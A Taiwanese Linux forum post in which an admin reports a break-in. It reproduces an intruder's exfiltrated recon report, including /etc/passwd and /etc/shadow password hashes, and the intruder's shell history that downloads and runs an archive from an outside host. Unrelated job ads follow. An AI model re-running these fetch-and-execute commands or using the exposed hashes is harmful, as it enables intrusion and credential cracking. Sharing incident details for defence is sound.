酷!學園

今天回來root收到mail如下：

The original message was received at Thu, 21 Oct 2004 18:46:59 +0800
from localhost.localdomain [127.0.0.1]

   ----- The following addresses had permanent fatal errors -----
<nickice2001@yahoo.com>
    (reason: 554 delivery error: dd This user doesn't have a yahoo.com account (nickice2001@yahoo.com) [-5] - mta181.mail.scd.yahoo.com)

   ----- Transcript of session follows -----
... while talking to mx3.mail.yahoo.com.:
>>> DATA
<<< 554 delivery error: dd This user doesn't have a yahoo.com account (nickice2001@yahoo.com) [-5] - mta181.mail.scd.yahoo.com
554 5.0.0 Service unavailable

內容是：

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++      Informatziile pe care le-ai dorit boss:)       +++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Hostname : home.kimen.idv.tw (210.66.91.136)
Alternative IP : 61.59.130.105
Host : home.kimen.idv.tw
                                                         
===============================================================
                                                         
Distro: Red Hat Linux release 8.0 (Psyche)
                                                         
===============================================================
                                                         
Uname -a
Linux home.kimen.idv.tw 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586 i586 i386 GNU/Linux
                                                         
===============================================================
                                                         
Uptime
  6:44pm  up 18:04,  2 users,  load average: 0.28, 0.08, 0.02
                                                         
===============================================================
                                                         
Pwd
/var/tmp/swat
                                                         
===============================================================
                                                         
ID
uid=0(root) gid=0(root)
                                                         
===============================================================
                                                         
Yahoo.com ping:
                                                         
PING 64.58.79.230 (64.58.79.230) from 210.66.91.136 : 56(84) bytes of data.

--- 64.58.79.230 ping statistics ---
6 packets transmitted, 0 received, 100% loss, time 5015ms

                                                         
===============================================================
                                                         
Hw info:
                                                         
CPU Speed: 400.928MHz
CPU Vendor: vendor_id : AuthenticAMD
CPU Model: model name : AMD-K6(tm) 3D processor
RAM: 126 Mb
                                                         
===============================================================
                                                         
HDD(s):
Filesystem    Type    Size  Used Avail Use% Mounted on
/dev/hda1     ext3    3.5G  1.3G  2.0G  40% /
none         tmpfs     62M     0   61M   0% /dev/shm
                                                         
===============================================================
                                                         
inetd-ul...
                                                         
===============================================================
                                                         
configurarea ip-urilor..
          inet addr:210.66.91.136  Bcast:210.66.91.255  Mask:255.255.255.0
          inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
          inet addr:127.0.0.1  Mask:255.0.0.0
                                                         
===============================================================
                                                         
Ports open:
snmpd      603   root    8u  IPv4       1139               TCP *:smux (LISTEN)
named      612  named   10u  IPv4       1466               TCP localhost.localdomain:domain (LISTEN)
named      612  named   12u  IPv4       1470               TCP 210-66-91-136.adsl.dynamic.seed.net.tw:domain (LISTEN)
named      612  named   14u  IPv4       1481               TCP home:domain (LISTEN)
named      612  named   15u  IPv4       1492               TCP localhost.localdomain:rndc (LISTEN)
named      618  named   10u  IPv4       1466               TCP localhost.localdomain:domain (LISTEN)
named      618  named   12u  IPv4       1470               TCP 210-66-91-136.adsl.dynamic.seed.net.tw:domain (LISTEN)
named      618  named   14u  IPv4       1481               TCP home:domain (LISTEN)
named      618  named   15u  IPv4       1492               TCP localhost.localdomain:rndc (LISTEN)
named      619  named   10u  IPv4       1466               TCP localhost.localdomain:domain (LISTEN)
named      619  named   12u  IPv4       1470               TCP 210-66-91-136.adsl.dynamic.seed.net.tw:domain (LISTEN)
named      619  named   14u  IPv4       1481               TCP home:domain (LISTEN)
named      619  named   15u  IPv4       1492               TCP localhost.localdomain:rndc (LISTEN)
named      620  named   10u  IPv4       1466               TCP localhost.localdomain:domain (LISTEN)
named      620  named   12u  IPv4       1470               TCP 210-66-91-136.adsl.dynamic.seed.net.tw:domain (LISTEN)
named      620  named   14u  IPv4       1481               TCP home:domain (LISTEN)
named      620  named   15u  IPv4       1492               TCP localhost.localdomain:rndc (LISTEN)
named      621  named   10u  IPv4       1466               TCP localhost.localdomain:domain (LISTEN)
named      621  named   12u  IPv4       1470               TCP 210-66-91-136.adsl.dynamic.seed.net.tw:domain (LISTEN)
named      621  named   14u  IPv4       1481               TCP home:domain (LISTEN)
named      621  named   15u  IPv4       1492               TCP localhost.localdomain:rndc (LISTEN)
sshd       629   root    3u  IPv4       1460               TCP *:ssh (LISTEN)
xinetd     643   root    5u  IPv4       1537               TCP *:imap (LISTEN)
xinetd     643   root    6u  IPv4       1538               TCP *:pop3 (LISTEN)
xinetd     643   root    7u  IPv4       1539               TCP *:ftp (LISTEN)
sendmail   670   root    4u  IPv4       1615               TCP *:smtp (LISTEN)
httpd      692   root    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      692   root    4u  IPv4       1642               TCP *:https (LISTEN)
smbd       743   root    9u  IPv4       1730               TCP *:netbios-ssn (LISTEN)
httpd      786 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      786 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      787 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      787 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      788 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      788 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      789 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      789 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      804 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      804 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      805 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      805 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      806 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      806 apache    4u  IPv4       1642               TCP *:https (LISTEN)
httpd      807 apache    3u  IPv4       1641               TCP *:http (LISTEN)
httpd      807 apache    4u  IPv4       1642               TCP *:https (LISTEN)
smbd      4988   root    5u  IPv4      13326               TCP *:10007 (LISTEN)
                                                         
===============================================================
                                                         
/etc/passwd & /etc/shadow
                                                         
/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/bin/bash
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
wnn:x:49:49:Wnn System Account:/home/wnn:/bin/bash
named:x:25:25:Named:/var/named:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
squid:x:23:23::/var/spool/squid:/dev/null
webalizer:x:67:67:Webalizer:/var/www/html/usage:/sbin/nologin
mailman:x:41:41:GNU Mailing List Manager:/var/mailman:/bin/false
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
kimen:x:500:500:JerryYang:/home/kimen:/bin/bash
cure:x:501:501::/home/cure:/bin/bash
test:x:502:502::/home/test:/bin/bash
                                                         
/etc/shadow
root:$1$懣謺$DNXtKQ/gNSuKJfnec8Mlt0:12665:0:99999:7:::
bin:*:12665:0:99999:7:::
daemon:*:12665:0:99999:7:::
adm:*:12665:0:99999:7:::
lp:*:12665:0:99999:7:::
sync:*:12665:0:99999:7:::
shutdown:*:12665:0:99999:7:::
halt:*:12665:0:99999:7:::
mail:*:12665:0:99999:7:::
news:*:12665:0:99999:7:::
uucp:*:12665:0:99999:7:::
operator:*:12665:0:99999:7:::
games:*:12665:0:99999:7:::
gopher:*:12665:0:99999:7:::
ftp:*:12665:0:99999:7:::
nobody:*:12665:0:99999:7:::
ntp:!!:12665:0:99999:7:::
rpc:!!:12665:0:99999:7:::
vcsa:!!:12665:0:99999:7:::
nscd:!!:12665:0:99999:7:::
sshd:!!:12665:0:99999:7:::
rpm:!!:12665:0:99999:7:::
mailnull:!!:12665:0:99999:7:::
smmsp:!!:12665:0:99999:7:::
rpcuser:!!:12665:0:99999:7:::
nfsnobody:!!:12665:0:99999:7:::
pcap:!!:12665:0:99999:7:::
xfs:!!:12665:0:99999:7:::
wnn:!!:12665:0:99999:7:::
named:!!:12665:0:99999:7:::
gdm:!!:12665:0:99999:7:::
postgres:!!:12665:0:99999:7:::
apache:!!:12665:0:99999:7:::
postfix:!!:12665:0:99999:7:::
squid:!!:12665:0:99999:7:::
webalizer:!!:12665:0:99999:7:::
mailman:!!:12665:0:99999:7:::
mysql:!!:12665:0:99999:7:::
kimen:$1$hi$CjfGyf4UHtZM4/hrPbDsS1:12665:0:99999:7:::
cure:$1$G37sBwuS$jNqZaBwbpRXeYOt9M/Cjc1:12684:0:99999:7:::
test:$1$Kn5M7pUJ$uVaPDTlqJtHpKV16qIawA0:12708:0:99999:7:::
                                                         
===============================================================
                                                         
interesting filez:
                                                         
Mp3-urile
                                                         
Avi-urile
                                                         
Mpg-urile
                                                         
===============================================================
                                                         
Cam asta este tot-ul ... sper sa fie ceva de server-ul asta...:)
                                                         

查完之後是我設test的帳號跟密碼一樣讓他登入了~~
他還執行了

 more .bash_history
w
passwd
cat /etc/hosts
/sbin/ifconfig |grep inet
ls
cd /var/tmp
ls
wget www.cracos.as.ro/90.tgz
tar xzvf 90.tgz
chmod +x 90
./90

目前也不清楚被改了什麼~~
真的不知道我可以幹嘛，
請問一個，我之前的一些ln -sf做的連結都變紅色
這是什麼意思啊~~
以上供大家參考~~哈~~

徵人：
徵程式設計師
可以兼職或全職
主要以vb為主(至少精通一種 )，要有電腦的基礎像網路、系統等等
因為程式有可能寫程網路程式，
程式為配合門禁系統所開發，
我們的客戶多為科技大廠。
薪水、福利絕對好談
有經驗佳！
住桃園、中壢佳

聯絡人：葉先生
電話  ：0911260789
歡迎來電洽詢或面談

更正如下：
專案研究助理
 
有程式設計能力(熟VB,Java,ASP等)
最好有一年程式開發工作經驗
工作時間為責任制
上班地點中壢
有汽車駕照(尤佳)
需至客戶端進行系統分析,系統安裝等工作